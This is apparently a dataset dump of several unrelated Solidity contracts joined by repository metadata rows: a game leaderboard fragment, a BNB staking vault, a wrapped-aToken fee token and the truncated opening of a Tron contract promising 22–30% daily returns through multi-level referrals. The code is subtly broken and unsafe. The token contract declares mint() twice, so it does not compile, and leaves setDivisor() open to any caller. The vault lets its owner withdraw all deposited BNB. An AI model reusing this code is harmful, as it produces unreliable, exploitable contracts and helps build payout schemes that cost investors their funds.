leaderboard = Leaderboards[id];
startTime = leaderboard.startTime;
endTime = leaderboard.endTime;
isLive = leaderboard.isLive;
sponsor = leaderboard.sponsor;
prize = leaderboard.prize;
numTeams = leaderboard.numTeams;
message = leaderboard.message;
medalsClaimed = leaderboard.medalsClaimed;
}
function newTeamOnEnd(uint16 leaderboardId, uint64 angelId, uint64 petId, uint64 accessoryId) onlySERAPHIM external {
Team memory team;
team = Leaderboards[leaderboardId].rank3;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank3.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank3.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank3.accessoryId] = false;
Leaderboards[leaderboardId].rank3.angelId = angelId;
Leaderboards[leaderboardId].rank3.petId = petId;
Leaderboards[leaderboardId].rank3.accessoryId = accessoryId;
angelsOnLeaderboards[angelId] = true;
petsOnLeaderboards[petId] = true;
accessoriesOnLeaderboards[accessoryId] = true;
}
function switchRankings (uint16 leaderboardId, uint8 spot,uint64 angel1ID, uint64 pet1ID, uint64 accessory1ID,uint64 angel2ID,uint64 pet2ID,uint64 accessory2ID) onlySERAPHIM external {
Team memory team;
team.angelId = angel1ID;
team.petId = pet1ID;
team.accessoryId = accessory1ID;
if (spot == 0) {Leaderboards[leaderboardId].rank1 = team;}
if (spot == 1) {Leaderboards[leaderboardId].rank2 = team;}
if (spot == 2) {Leaderboards[leaderboardId].rank3 = team;}
team.angelId = angel2ID;
team.petId = pet2ID;
team.accessoryId = accessory2ID;
if (spot == 0) {Leaderboards[leaderboardId].rank0 = team;}
if (spot == 1) {Leaderboards[leaderboardId].rank1 = team;}
if (spot == 2) {Leaderboards[leaderboardId].rank2 = team;}
}
function verifyPosition(uint16 leaderboardId, uint8 spot, uint64 angelID) external constant returns (bool) {
if (spot == 0) {
if (Leaderboards[leaderboardId].rank0.angelId == angelID) {return true;}
}
if (spot == 1) {
if (Leaderboards[leaderboardId].rank1.angelId == angelID) {return true;}
}
if (spot == 2) {
if (Leaderboards[leaderboardId].rank2.angelId == angelID) {return true;}
}
if (spot == 3) {
if (Leaderboards[leaderboardId].rank3.angelId == angelID) {return true;}
}
return false;
}
function angelOnLeaderboards(uint64 angelID) external constant returns (bool) {
return angelsOnLeaderboards[angelID];
}
function petOnLeaderboards(uint64 petID) external constant returns (bool) {
return petsOnLeaderboards[petID];
}
function accessoryOnLeaderboards(uint64 accessoryID) external constant returns (bool) {
return accessoriesOnLeaderboards[accessoryID];
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function getTotalLeaderboards() public constant returns (uint16) {
return totalLeaderboards;
}
}
| 163,018 | 13,934 |
d8a1e630f5d0e201b3100e888609148a08939eb4c68529898f79ecce527cb93e
| 23,464 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xed48FE23778985e562bC3aD0E39a08c06C91592c/contract.sol
| 3,788 | 14,495 |
pragma solidity =0.6.2;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// People lock their `BNB` and get rewarded `rewardToken`
/// @notice This contract allows you to lock BNB tokens and receive earnings
/// It also allows you to extract those earnings
contract BNBVault is Initializable, OwnableUpgradeSafe {
using SafeMath for uint256;
// How many BNB tokens each user has
mapping (address => uint256) public amountLocked;
// The price when you extracted your earnings so we can whether you got new earnings or not
mapping (address => uint256) public lastPriceEarningsExtracted;
// When the user started locking his BNB tokens
mapping (address => uint256) public depositStarts;
mapping (address => uint256) public lockingTime;
// The reward token that people receive based on the staking time
address public rewardToken;
// How many BNB tokens are locked
uint256 public totalLiquidityLocked;
// The total lockTokenFee generated
uint256 public totalLockTokenFeeMined;
uint256 public lockTokenFeePrice;
uint256 public accomulatedRewards;
uint256 public pricePadding;
address payable public devTreasury;
uint256 public minTimeLock;
uint256 public maxTimeLock;
uint256 public minDevTreasuryPercentage;
uint256 public maxDevTreasuryPercentage;
// The last block number when fee was updated
uint256 public lastBlockFee;
uint256 public rewardPerBlock;
// increase the lockTokenFeePrice
receive() external payable {
addFeeAndUpdatePrice(msg.value);
}
function initialize(address _rewardToken, address payable _devTreasury) public initializer {
__Ownable_init();
pricePadding = 1e18;
devTreasury = _devTreasury;
minTimeLock = 30 days;
maxTimeLock = 365 days;
minDevTreasuryPercentage = 50e18;
maxDevTreasuryPercentage = 10e18;
lastBlockFee = 0;
rewardToken = _rewardToken;
// The average block time is 3 seconds, therefore 1 day is 28800 blocks
// 1e18 / 28800 is 1 onek per 28800 blocks (a day on average in BSC)
rewardPerBlock = 35e12;
}
// Must be in 1e18 since it's using the pricePadding
function setRewardPerBlock(uint256 _rewardPerBlock) external onlyOwner {
rewardPerBlock = _rewardPerBlock;
}
function setDevTreasury(address payable _devTreasury) external onlyOwner {
devTreasury = _devTreasury;
}
function setRewardToken(address _rewardToken) external onlyOwner {
rewardToken = _rewardToken;
}
// Must be in seconds
function setTimeLocks(uint256 _minTimeLock, uint256 _maxTimeLock) external onlyOwner {
minTimeLock = _minTimeLock;
maxTimeLock = _maxTimeLock;
}
function setDevPercentages(uint256 _minDevTreasuryPercentage, uint256 _maxDevTreasuryPercentage) external onlyOwner {
require(minDevTreasuryPercentage > maxDevTreasuryPercentage, 'Vault: The min % must be larger');
minDevTreasuryPercentage = _minDevTreasuryPercentage;
maxDevTreasuryPercentage = _maxDevTreasuryPercentage;
}
/// @notice When ETH is added, the price is increased
/// Price is = (feeIn / totalLockTokenFeeDistributed) + currentPrice
/// padded with 18 zeroes that get removed after the calculations
/// if there are no locked lockTokens, the price is 0
function addFeeAndUpdatePrice(uint256 _feeIn) internal {
accomulatedRewards = accomulatedRewards.add(_feeIn);
if (totalLiquidityLocked == 0) {
lockTokenFeePrice = 0;
} else {
lockTokenFeePrice = (_feeIn.mul(pricePadding).div(totalLiquidityLocked)).add(lockTokenFeePrice);
}
}
/// @notice To calculate how much fee should be added based on time
function updateFeeIn() internal {
// setup the intial block instead of getting rewards right away
if (lastBlockFee != 0) {
// Use it
uint256 blocksPassed = block.number - lastBlockFee;
uint256 feeIn = blocksPassed.mul(rewardPerBlock);
if (feeIn > 0) addFeeAndUpdatePrice(feeIn);
// Update it
}
lastBlockFee = block.number;
}
// The time lock is reset every new deposit
function lockLiquidity(uint256 _amount, uint256 _timeLock) public payable {
updateFeeIn();
require(_amount > 0, 'Vault: Amount must be larger than zero');
require(_timeLock >= minTimeLock && _timeLock <= maxTimeLock, 'Vault: You must setup a locking time between the ranges');
// Transfer BNB tokens inside here while earning fees from every transfer
require(msg.value >= _amount, 'Vault: You must send the desired amount of BNB');
totalLiquidityLocked = totalLiquidityLocked.add(_amount);
// Extract earnings in case the user is not a new Locked BNB
if (lastPriceEarningsExtracted[msg.sender] != 0 && lastPriceEarningsExtracted[msg.sender] != lockTokenFeePrice) {
extractEarnings();
}
// Set the initial price
if (lockTokenFeePrice == 0) {
lockTokenFeePrice = accomulatedRewards.mul(pricePadding).div(_amount).add(1e18);
lastPriceEarningsExtracted[msg.sender] = 1e18;
} else {
lastPriceEarningsExtracted[msg.sender] = lockTokenFeePrice;
}
// The price doesn't change when locking BNB. It changes when fees are generated from transfers
amountLocked[msg.sender] = amountLocked[msg.sender].add(_amount);
// Notice that the locking time is reset when new BNB is added
depositStarts[msg.sender] = now;
lockingTime[msg.sender] = _timeLock;
}
// We check for new earnings by seeing if the price the user last extracted his earnings
// is the same or not to determine whether he can extract new earnings or not
function extractEarnings() public {
updateFeeIn();
require(amountLocked[msg.sender] > 0, 'Vault: You must have locked BNB to extract your earnings');
require(lockTokenFeePrice != lastPriceEarningsExtracted[msg.sender], 'Vault: You have already extracted your earnings');
// The amountLocked price minus the last price extracted
uint256 myPrice = lockTokenFeePrice.sub(lastPriceEarningsExtracted[msg.sender]);
uint256 earnings = amountLocked[msg.sender].mul(myPrice).div(pricePadding);
lastPriceEarningsExtracted[msg.sender] = lockTokenFeePrice;
accomulatedRewards = accomulatedRewards.sub(earnings);
uint256 devTreasuryPercentage = calcDevTreasuryPercentage(lockingTime[msg.sender]);
uint256 devTreasuryEarnings = earnings.mul(devTreasuryPercentage).div(1e20);
uint256 remaining = earnings.sub(devTreasuryEarnings);
// Transfer the earnings
IERC20(rewardToken).transfer(devTreasury, devTreasuryEarnings);
IERC20(rewardToken).transfer(msg.sender, remaining);
}
// The user must lock the BNB for 1 year and only then can extract his Locked BNB tokens
// he must extract all the lockTokens for simplicity and security purposes
function extractLiquidity() public {
updateFeeIn();
require(amountLocked[msg.sender] > 0, 'Vault: You must have locked lockTokens to extract them');
require(now.sub(depositStarts[msg.sender]) >= lockingTime[msg.sender], 'Vault: You must wait the locking time to extract your BNB');
// Extract earnings in case there are some
if (lastPriceEarningsExtracted[msg.sender] != 0 && lastPriceEarningsExtracted[msg.sender] != lockTokenFeePrice) {
extractEarnings();
}
uint256 locked = amountLocked[msg.sender];
amountLocked[msg.sender] = 0;
depositStarts[msg.sender] = now;
lastPriceEarningsExtracted[msg.sender] = 0;
totalLiquidityLocked = totalLiquidityLocked.sub(locked);
msg.sender.transfer(locked);
}
/// Returns the treasury percentage padded with 18 zeroes
function calcDevTreasuryPercentage(uint256 _lockingTime) public view returns(uint256) {
require(_lockingTime >= minTimeLock && _lockingTime <= maxTimeLock, 'Vault: You must setup a locking time between the ranges');
if (_lockingTime == maxTimeLock) {
return maxDevTreasuryPercentage;
}
if (_lockingTime == minTimeLock) {
return minDevTreasuryPercentage;
}
uint256 padding = 1e18;
uint256 combinedDays = maxTimeLock.sub(minTimeLock);
uint256 combinedFee = minDevTreasuryPercentage.sub(maxDevTreasuryPercentage);
// There's no risk of a ratio == 0 since we return the right percentage when lockTime == minLockTime
uint256 ratio = (_lockingTime.sub(minTimeLock)).mul(padding).div(combinedDays);
return minDevTreasuryPercentage.sub(ratio.mul(combinedFee).div(padding));
}
function getAmountLocked(address _user) external view returns(uint256) {
return amountLocked[_user];
}
function extractTokensIfStuck(address _token, uint256 _amount) external onlyOwner {
IERC20(_token).transfer(owner(), _amount);
}
function extractETHIfStruck() external onlyOwner {
payable(address(owner())).transfer(address(this).balance);
}
}
| 249,760 | 13,935 |
4efe0934655994d6fc267045269509df40c4d15dbe95c84885964197b71b1dc9
| 24,959 |
.sol
|
Solidity
| false |
305531673
|
penguinparty-eth/penguinparty.eth-Deliverables
|
557487bf274912a3bb3ba2c78e80f36b29a13445
|
SolidityContracts/castle-wrapped-v2-atoken.sol
| 3,152 | 12,113 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface pool {
function sync() external;
}
interface IScaledBalanceToken {
function scaledBalanceOf(address user) external view returns (uint256);
function getScaledUserBalanceAndSupply(address user) external view returns (uint256, uint256);
function scaledTotalSupply() external view returns (uint256);
}
contract CASTLE is IERC20,Context,Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 public _nonce;
uint8 public _decimals;
address public _atoken;
address public _feeTarget0;
address public _feeTarget1;
uint256 public _fee;
uint256 public _keeperfee;
uint256 public _feedivisor;
bool public _isGated = false;
address public _gate;
uint256 public _gateReq;
event symbolChange(string indexed name, string indexed symbol);
event Change(address indexed to,string func);
event Mint(address indexed sender, uint amount0);
event Burn(address indexed sender, uint amount0);
event GateSet(address indexed gate, uint256 amount0);
constructor (string memory name, string memory symbol, uint8 decimals, uint256 feeAmt,uint256 feeDiv,address feeDest,address tokenDest,uint256 keeperFee) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_atoken = tokenDest;
_fee = feeAmt;
_feedivisor = feeDiv;
_feeTarget0 = feeDest;
}
function setAtokenAddress(address atoken) onlyOwner public returns(address) {
_atoken = atoken;
emit Change(atoken,"atoken");
return _atoken;
}
function setGate(address gate,uint256 gateReq) public onlyOwner returns(bool){
_gate = gate;
_gateReq = gateReq;
emit GateSet(gate,gateReq);
return true;
}
function raiseLowerGate(bool state) public onlyOwner returns(bool){
_isGated = state;
return true;
}
function updateNameAndSymbol(string memory name,string memory symbol) public onlyOwner returns(bool){
_name = name;
_symbol = symbol;
emit symbolChange(name,symbol);
return true;
}
function releaseInterest(bool ispool) public returns(uint256){
if(_isGated){
require(IERC20(_gate).balanceOf(msg.sender)>=_gateReq, "Must have Gate Tokens!");
}
IERC20 token = IERC20(_atoken);
uint256 diff = token.balanceOf(address(this)).sub(_totalSupply);
require(diff>0,"No interest to release!");
uint256 mintToKeeper = diff.mul(_keeperfee).div(_feedivisor);
require(mintToKeeper.div(2)>0,"Nothing for Keepers!");
diff-=mintToKeeper;
_mint(_feeTarget1,diff);
if(ispool){
pool(_feeTarget1).sync();
}
emit Mint(_feeTarget1,diff);
_mint(msg.sender,mintToKeeper.div(2));
emit Mint(msg.sender,mintToKeeper);
_mint(_feeTarget0, mintToKeeper.div(2));
emit Mint(msg.sender,mintToKeeper);
return mintToKeeper;
}
function mint(address acc, uint256 amt) public onlyOwner{
_mint(acc,amt);
}
function mint(address acc, uint256 amt) public onlyOwner{
_mint(acc,amt);
}
function wrap(uint256 amount) public returns (uint256) {
IERC20 token = IERC20(_atoken);
require(token.transferFrom(msg.sender, address(this), amount),"Not enough tokens!");
_mint(msg.sender, amount);
emit Mint(msg.sender,amount);
return amount;
}
function unwrap(uint256 amount) public returns (bool) {
address acc = msg.sender;
IERC20 token = IERC20(_atoken);
require(token.transfer(acc,amount),"Not enough tokens!");
_burn(msg.sender, amount);
emit Burn(msg.sender,amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setDivisor(uint256 divisor) public returns (bool){
_feedivisor = divisor;
return true;
}
function setFee(uint256 amount) onlyOwner public returns (bool) {
_fee = amount;
return true;
}
function setKeeperFee(uint256 amount) onlyOwner public returns (bool){
_keeperfee = amount;
return true;
}
function setOrgTarget(address target) onlyOwner public returns (bool){
_feeTarget0 = target;
emit Change(target,"fee 0");
return true;
}
function setLPTarget(address target) onlyOwner public returns (bool){
_feeTarget1 = target;
emit Change(target,"fee 1");
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 fees = (amount*_fee)/_feedivisor;
uint256 receivable = amount-fees;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(receivable);
_balances[_feeTarget0] = _balances[_feeTarget0].add(fees);
assert(fees.add(receivable)==amount);
emit Transfer(sender, recipient, amount);
emit Transfer(sender, _feeTarget0, fees);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) public onlyOwner {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 245,626 | 13,936 |
8bc30765c8e3b961b920d88055ddfc473db1e70750994a9b6d01a4c46cf87670
| 20,751 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNJ8KwhznCMiqAeWe2bcrMZ35nnVK9cgRP_Switchtron.sol
| 5,427 | 19,321 |
//SourceUnit: switchtron.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
uint256 investDates;
mapping(uint256 => Investment) plans;
mapping(uint256 => uint256) levelRefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Switchtron is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant ADMIN_ENTRY_RATE = 100;
uint256 private constant REFERENCE_RATE = 210;
mapping(uint256 => uint256) public REFERENCE_LEVEL_RATE;
uint256 public constant MINIMUM = 100 trx; //minimum investment needed
uint256 public constant REFERRER_CODE = 1; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
uint256 private totalUser_;
uint256 private totalWithdrawn;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function getInvestmentDate() public view returns (uint256) {
return block.timestamp;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(220,15*60*60*24,220)); //15 days
investmentPlans_.push(Objects.Plan(250, 12*60*60*24,250)); //12 days
investmentPlans_.push(Objects.Plan(300, 90*60*60*24,300)); //10 days
REFERENCE_LEVEL_RATE[1]=80;
REFERENCE_LEVEL_RATE[2]=50;
REFERENCE_LEVEL_RATE[3]=30;
REFERENCE_LEVEL_RATE[4]=20;
REFERENCE_LEVEL_RATE[5]=20;
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getTotalUsers() public view returns (uint256){
return totalUser_;
}
function getTotalWithdrawal() public view returns (uint256){
return totalWithdrawn;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256[] memory, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
uint256[] memory RefCount = new uint256[](6);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
for(uint256 j = 0; j < 6; j++)
{
RefCount[j]= investor.levelRefCount[j];
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
